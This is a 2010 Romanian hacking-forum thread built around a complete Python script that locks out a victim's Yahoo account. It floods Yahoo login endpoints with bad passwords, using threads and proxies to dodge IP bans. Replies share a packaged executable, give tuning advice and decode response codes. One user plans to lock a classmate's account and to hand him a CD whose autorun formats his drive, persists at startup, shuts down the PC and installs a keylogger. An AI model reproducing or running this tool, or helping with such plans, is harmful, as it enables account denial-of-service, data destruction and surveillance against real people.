cmiN Posted March 8, 2010 Report Posted March 8, 2010 Python code by cmiN - 90 lines - codepad#! /usr/bin/env python# 08.03.2010 <> 09.03.2010 | cmiN# Yahoo ID Locker (console)import sys, time, urllib.request, threadingdef main(args): usage = """\t\t Yahoo ID Locker 1.0\t Usage: yidl.py ymsgrid timeout delay attacks method verbose proxy [address:port]Where ymsgrid is the victim Yahoo ID timeout is a float (seconds) delay is a float (seconds) attacks is an integer (how many requests) method is the page to use a - pwtoken_get b - isp_verify_user verbose is an integer 1 - print the retrieved data 0 - print nothing proxy is an integer 1 - enable proxy support address is the host ip port is the port address 0 - use global settings\t Example: yidl.py cmin764 10 0.1 20 a 1 1 186.56.68.5:8080""" if len(args) in range(8, 10): try: print("Please wait...") if int(args[7]) == 1: host = args[8] else: host = None attack(args[1], float(args[2]), float(args[3]), int(args[4]), args[5], int(args[6]), host) except Exception as message: print("An error occurred: {}".format(message)) except: print("Unknown error.") else: print("Ready!") else: print(usage) input()def attack(ymsgrid, timeout, delay, attacks, method, verbose, host): if method == "a" or method == "A": link = "https://login.yahoo.com/config/pwtoken_get?src=ymsgr&login={usr}&passwd={pwd}" elif method == "b" or method == "B": link = "https://login.yahoo.com/config/isp_verify_user?cookies=1&p={pwd}&l={usr}" else: raise Exception("Invalid method") link = link.format(usr=ymsgrid, pwd="pass1337") headers = { "Referer": "https://login.yahoo.com", "User-Agent": "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.04 (hardy) Firefox/3.0.6"} YDL.link = link YDL.headers = headers YDL.timeout = timeout YDL.verbose = verbose YDL.host = host while attacks > 0: YDL().start() time.sleep(delay) attacks -= 1 while threading.active_count() > 1: passclass YDL(threading.Thread): link = None headers = None timeout = None verbose = None host = None def __init__(self): threading.Thread.__init__(self) def run(self): request = urllib.request.Request(self.link, headers=self.headers) if self.host: request.set_proxy(self.host, "https") try: with urllib.request.urlopen(request, timeout=self.timeout) as uin: if self.verbose: print(uin.read()) except: passif __name__ == "__main__": main(sys.argv)Ai nevoie de Python 3.x1) Salvezi codul de mai sus in yidl.py2) Start -> Run -> cmd3) cd %locatie% unde %locatie% reprezinta locul unde se afla yidl.py4) yidl.py -> vezi usage5) EnjoyUpdated: 09.03.2010 2 1 Quote
Flubber Posted March 8, 2010 Report Posted March 8, 2010 multumesc frumosimi place cum l-ai structurat Quote
Nytro Posted March 9, 2010 Report Posted March 9, 2010 In sfarsit cineva care mai face cate ceva. Felicitari. Quote
cmiN Posted March 9, 2010 Author Report Posted March 9, 2010 Mc la toti. Am adaugat proxy support ca sa nu mai iei ban acel interval de timp pe ip-ul tau. Quote
begood Posted March 13, 2010 Report Posted March 13, 2010 Am facut o versiune "exe" a acestui script. Pentru cei care nu au instalat python.http://www.2shared.com/file/12079495/6346e742/pythonPE_yidl_-_Yahoo_ID_Locke.htmlhttp://www.megaupload.com/?d=8DQNMH89file name : [python][PE]_yidl_-_Yahoo_ID_Locker_[cmiN]_rstcenter.rarMD5 : 211ca83b5f16c0a74b95311cec645f3epassword : rstcenter.com Quote
dragosh1904 Posted March 13, 2010 Report Posted March 13, 2010 Am facut o versiune "exe" a acestui script. Pentru cei care nu au instalat python.2shared - download [python][PE]_yidl_-_Yahoo_ID_Locker_[cmiN]_rstcenter.rarMEGAUPLOAD - The leading online storage and file delivery servicefile name : [python][PE]_yidl_-_Yahoo_ID_Locker_[cmiN]_rstcenter.rarMD5 : 211ca83b5f16c0a74b95311cec645f3epassword : rstcenter.comnu imi merge:| cica: "this application has failed to start because the application configuration is incorrect.reinsatling thew aplication may fix this problem" trebuie ceva gen framework? Quote
cmiN Posted March 13, 2010 Author Report Posted March 13, 2010 Functioneaza la majoritatea, dar unora le returneaza erori ciudate, habar n-am de ce. Quote
dragosh1904 Posted March 14, 2010 Report Posted March 14, 2010 mie imi merge perfectxp sp3.o sa incerc si eu pe sp3 atunci eram pe un home edition sp2 Quote
joker_booom Posted March 14, 2010 Report Posted March 14, 2010 scuzati de intrebare, dar la ce foloseste acest program si cum se foloseste ? Quote
cmiN Posted March 14, 2010 Author Report Posted March 14, 2010 Ai usage in script, nu intelegi folosesti translate, si dupa cum spune si denumirea ... blocheaza id-uri de yahoo. Quote
AdrianCOM Posted March 14, 2010 Report Posted March 14, 2010 File "./adi.py", line 5, in <module> import sys, time, urllib.request, threadingImportError: No module named requestCe are? Nu recunoaste modulul ala. Quote
Flubber Posted March 15, 2010 Report Posted March 15, 2010 Asigura-te ca ai Python 3.x instalatPython Programming Language -- Official Website Quote
AdrianCOM Posted March 15, 2010 Report Posted March 15, 2010 Pe Linux e diferit. Sunt 2 pachete diferite. Python3 pe care il am deja instalat, si Pyhton (care indifrerent daca ii dai upgrade/update e aceeasi versiune). Quote
cmiN Posted March 15, 2010 Author Report Posted March 15, 2010 Probabil unix nu are de forma aia sau probabil ca desi ai 3.x instalat iti foloseste tot 2.x. Habar nu am cum specifici ce si cum sa foloseasca, etc. Quote
Warframe Posted March 19, 2010 Report Posted March 19, 2010 l`am testat pe un id al meu si nu l`a blocat , i`am dat chiar attacks 50 pe method a ,mi`a aparut " b'1236\r\n' " apoi pe method b " b'ERROR:101:Invalid Password' "este eroare de la mine sau asa trebuie sa faca ? Quote
cmiN Posted March 19, 2010 Author Report Posted March 19, 2010 Asa trebuie sa faca ... baga un delay cat mai mic, chiar 0, mai multe atacuri si foloseste un proxy mai rapid.1212 -> id valid pass invalid1235 -> id invalid pass nu mai conteaza1236 -> id blocat sau ip banat, depinde Quote
skyner Posted March 27, 2010 Report Posted March 27, 2010 am si eu o intrebare...blocheaza id doar de pe ip respectiv sau il blocheaza de tot?am folosit vreo 10 proxy....trebuie neaparat sa blochez un id..are un tip cateva mass-uri de la mine legate de diriga...si ia zis azi dirigintei ca i le da..si nu am timp de keyloggere sau alte chestii... Quote
Zatarra Posted March 28, 2010 Report Posted March 28, 2010 On topic: Frumos programelu dar pacat ca e temporary block..Off topic: Prea tare faza cu diriga lu` ala de mai sus Quote
skyner Posted March 28, 2010 Report Posted March 28, 2010 la fiecare 12-15 ore folosesc alte proxy,ambele metode,chiar si manual dau )daca nu mai poate intra pe mess nu are acces la ele..si e genul de idiot..care nu cred ca a intrat vreodata pe mail xDluni fac un cd cu un referat si pun pe careva sa il dea..pun si un autoexec cu un bat sa ii formateze tot,apoi sa se adauge la startup si sa ii inchida pc la 1 sec dupa ce il deschide..eventual si un keylogger...alte sugestii? Quote